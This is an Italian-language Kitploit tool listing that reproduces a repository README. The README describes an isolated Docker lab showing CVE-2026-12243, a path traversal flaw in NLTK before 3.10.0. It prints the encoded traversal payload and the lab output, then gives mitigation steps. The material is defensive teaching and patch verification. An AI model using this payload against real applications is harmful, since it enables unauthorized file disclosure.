Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-12243-NLTK-PoC — # Laboratorio Docker che dimostra il path traversal CVE-2026-12243 in NLTK precedente alla 3.10.0, confrontando il comportamento vulnerabile e quello corretto con un segreto sintetico in un ambiente isolato e offline. | Kitploit
Strumenti/GitHubGitHub/morzelowski/cve-2026-12243-nltk-poc
Sicurezza dei ContenitoriAnalisi delle VulnerabilitàSicurezza WebApprendimento e FormazioneLab e Pratica
GitHubmorzelowski/cve-2026-12243-nltk-poc

CVE-2026-12243-NLTK-PoC

# Laboratorio Docker che dimostra il path traversal CVE-2026-12243 in NLTK precedente alla 3.10.0, confrontando il comportamento vulnerabile e quello corretto con un segreto sintetico in un ambiente isolato e offline.

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
Vedi Repository
9h 25m faNon ancora revisionato

CVE-2026-12243 — Laboratorio Path Traversal NLTK

CVE NLTK Lab License

Un piccolo laboratorio Docker riproducibile che confronta il comportamento di path traversal con codifica percentuale in NLTK 3.9.4 con il comportamento corretto in NLTK 3.10.0.

La versione vulnerabile valida il nome della risorsa prima della decodifica URL. Il payload fisso %2e%2e/%2e%2e/outside/lab-secret.txt supera il controllo, viene successivamente decodificato in ../../outside/lab-secret.txt ed esce sia dalla directory dati NLTK configurata sia dalla directory di lavoro del processo. La versione corretta rifiuta lo stesso input.

[!CAUTION] Questo repository è destinato esclusivamente a formazione difensiva e test autorizzati. Il laboratorio utilizza un segreto sintetico fisso all'interno di un contenitore isolato. Non adattarlo per accedere a sistemi o dati che non possiedi o per i quali non hai esplicita autorizzazione al test.

In sintesi

ContenitoreVersione NLTKRisultato atteso
vulnerable3.9.4Legge il marcatore sintetico fuori da /lab/nltk_data
patched

Non vengono utilizzati download di corpora, server, porte, bind mount o connessione internet a runtime.

Prerequisiti

  • Docker Engine o Docker Desktop
  • Docker Compose v2 (docker compose)
  • Una shell POSIX per run.sh

Utilizzo

root@kitploit:~
git clone https://github.com/morzelowski/CVE-2026-12243-NLTK-PoC.git
cd CVE-2026-12243-NLTK-PoC
docker compose build
./run.sh

Risultato atteso:

root@kitploit:~
=== Vulnerable image: NLTK 3.9.4 ===
NLTK version       : 3.9.4
Working directory  : /app
Configured data dir: /lab/nltk_data
Encoded resource   : %2e%2e/%2e%2e/outside/lab-secret.txt
Decoded resource   : ../../outside/lab-secret.txt
Resolved candidate : /outside/lab-secret.txt
NLTK warning       : Security Violation [pathsec.open]: Unauthorized path /outside/lab-secret.txt
NLTK result        : read 36 bytes
Synthetic marker   : CVE-2026-12243-SYNTHETIC-LAB-MARKER
[PASS] Traversal escaped the configured NLTK data directory.

=== Patched image: NLTK 3.10.0 ===
NLTK version       : 3.10.0
NLTK result        : blocked (ValueError: Unsafe resource path: '...')
[PASS] Patched version rejected the same encoded traversal.

Lab completed: traversal reproduced and patched rejection verified.

L'immagine vulnerabile segnala che /outside/lab-secret.txt non è autorizzato ma ne restituisce comunque il contenuto perché NLTK 3.9.4 utilizza una sicurezza dei percorsi basata solo su avvisi (warning) per impostazione predefinita. Il testo di eccezioni e avvisi può variare leggermente; run.sh utilizza lo stato di uscita del processo, non una corrispondenza testuale fragile, per determinare se la dimostrazione è riuscita.

Come funziona la dimostrazione

Ogni immagine contiene questo layout deliberatamente separato:

root@kitploit:~
/
├── app/
│   └── poc.py          # process CWD is /app
├── lab/
│   └── nltk_data/      # configured NLTK search root
└── outside/
    └── lab-secret.txt  # public synthetic marker

poc.py sostituisce nltk.data.path con /lab/nltk_data e passa il nome della risorsa fisso %2e%2e/%2e%2e/outside/lab-secret.txt a nltk.data.load(..., format="raw"). Nella versione vulnerabile, la decodifica avviene troppo tardi nel flusso di validazione:

root@kitploit:~
/lab/nltk_data
      ↓  ../../outside/lab-secret.txt
/outside/lab-secret.txt

Poiché la directory di lavoro è /app, il canarino si trova fuori da entrambe le posizioni rilevanti per la dimostrazione: /app e /lab/nltk_data.

Lo script ha due asserzioni esplicite:

  1. NLTK 3.9.4 deve restituire il marcatore sintetico noto.
  2. NLTK 3.10.0 deve rifiutare esattamente lo stesso nome di risorsa.

Qualsiasi altro risultato termina con codice di uscita non zero, quindi i controlli automatizzati non possono riportare un falso successo.

Modello di sicurezza

La configurazione Compose limita intenzionalmente il laboratorio:

  • network_mode: none disabilita la rete durante l'esecuzione di entrambe le dimostrazioni.
  • Nessuna porta host viene pubblicata.
  • Nessuna directory host o socket Docker viene montata.
  • I contenitori vengono eseguiti come utente non privilegiato con tutte le capability Linux rimosse e no-new-privileges abilitato.
  • Il filesystem root è in sola lettura; solo un piccolo filesystem temporaneo noexec è scrivibile.
  • L'unico valore divulgato è fixtures/lab-secret.txt, un marcatore di test pubblico copiato nell'immagine durante la build.

La build dell'immagine richiede accesso agli indici dei pacchetti per installare le due versioni NLTK bloccate. L'esecuzione a runtime è offline.

Dettagli tecnici

  • CVE: CVE-2026-12243
  • GHSA: GHSA-m42h-3232-vpv3
  • Debolezza: CWE-22 — path traversal
  • Versioni interessate: NLTK precedenti alla 3.10.0
  • Corretta in: NLTK 3.10.0
  • Impatto: divulgazione di file leggibili dal processo applicativo quando un attaccante controlla un nome di risorsa fornito a nltk.data.load() o nltk.data.find()

Il laboratorio blocca la 3.9.4 perché è la versione concreta citata nel report originale e la 3.10.0 perché è la prima versione corretta registrata dall'avviso del manutentore.

Mitigazione

Aggiorna NLTK e mantienilo aggiornato:

root@kitploit:~
python -m pip install "nltk>=3.10.0"

Evita inoltre di passare nomi di risorse non attendibili alle API di caricamento da filesystem. Dove è richiesta la selezione da parte dell'utente, mappa gli identificatori visibili all'utente su una lista consentita di risorse di proprietà dell'applicazione invece di accettare direttamente percorsi o URL.

Comandi manuali

Esegui ciascun lato in modo indipendente:

root@kitploit:~
docker compose run --rm vulnerable
docker compose run --rm patched

Ispeziona la configurazione Compose completamente risolta:

root@kitploit:~
docker compose config

Rimuovi le immagini di laboratorio costruite localmente:

root@kitploit:~
docker compose down --rmi local

Risoluzione dei problemi

  • permission denied: ./run.sh — esegui chmod +x run.sh una volta.
  • docker: command not found — installa Docker Desktop o Docker Engine.
  • Errori di download dei pacchetti durante la build — conferma che Docker abbia accesso in uscita temporaneo per la build, quindi riprova con docker compose build --no-cache.

Riferimenti

  • Avviso del manutentore GitHub GHSA-m42h-3232-vpv3
  • Voce NVD per CVE-2026-12243
  • Issue NLTK originale #3504
  • Pull request di correzione NLTK #3522
  • Commit di correzione aec4fce

Licenza

Rilasciato sotto Licenza MIT.

Scarica lo strumento
3.10.0
Blocca la traversal codificata